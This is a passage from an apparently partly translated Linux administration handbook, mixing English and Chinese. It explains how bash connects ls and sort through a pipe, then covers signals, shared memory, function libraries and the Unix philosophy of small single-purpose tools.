A similar operation happens for the second command: bash clones itself again, leading to a new bash process with pid #4522. Since it is also a child process of #4374, it also inherits the pipe; bash then connects its standard input to the pipe output, then executes (and replaces itself with) the sort command, which sorts its input and displays the results.

All the pieces of the puzzle are now set up: ls reads the current directory and writes the list of files into the pipe; sort reads this list, sorts it alphabetically, and displays the results. Processes numbers #4521 and #4522 then terminate, and #4374 (which was waiting for them during the operation), resumes control and displays the prompt to allow the user to type in a new command.

Not all inter-process communications are used to move data around, though. In many situations, the only information that needs to be transmitted are control messages such as “pause execution” or “resume execution”. Unix (and Linux) provides a mechanism known as signals, through which a process can simply send a specific signal (chosen from a predefined list of signals) to another process. The only requirement is to know the pid of the target.

For more complex communications, there are also mechanisms allowing a process to open access, or share, part of its allocated memory to other processes. Memory now shared between them can be used to move data between the processes.

Finally, network connections can also help processes communicate; these processes can even be running on different computers, possibly thousands of kilometers apart.

It is quite standard for a typical Unix-like system to make use of all these mechanisms to various degrees.

B.5.4. 库

Function libraries play a crucial role in a Unix-like operating system. They are not proper programs, since they cannot be executed on their own, but collections of code fragments that can be used by standard programs. Among the common libraries, you can find:

- the standard C library (glibc), which contains basic functions such as ones to open files or network connections, and others facilitating interactions with the kernel;

- 图形工具箱，如 Gtk+ 和 Qt，能够让许多程序复用它们提供的图形对象;

- libpng 库，它能加载、解析和保存 PNG 格式的图像。

Thanks to those libraries, applications can reuse existing code. Application development is simplified since many applications can reuse the same functions. With libraries often developed by different persons, the global development of the system is closer to Unix's historical philosophy.

CULTURE Unix 之路：一次一件事

One of the fundamental concepts that underlies the Unix family of operating systems is that each tool should only do one thing, and do it well; applications can then reuse these tools to build more advanced logic on top. This philosophy can be seen in many incarnations. Shell scripts may be the best example: they assemble complex sequences of very simple tools (such as grep, wc, sort, uniq and so on). Another implementation of this philosophy can be seen in code libraries: the libpng library allows reading and writing PNG images, with different options and in different ways, but it does only that; no question of including functions that display or edit images.

Moreover, these libraries are often referred to as “shared libraries”, since the kernel is able to only load them into memory once, even if several processes use the same library at the same time. This allows saving memory, when compared with the opposite (hypothetical) situation where the code for a library would be loaded as many times as there are processes using it.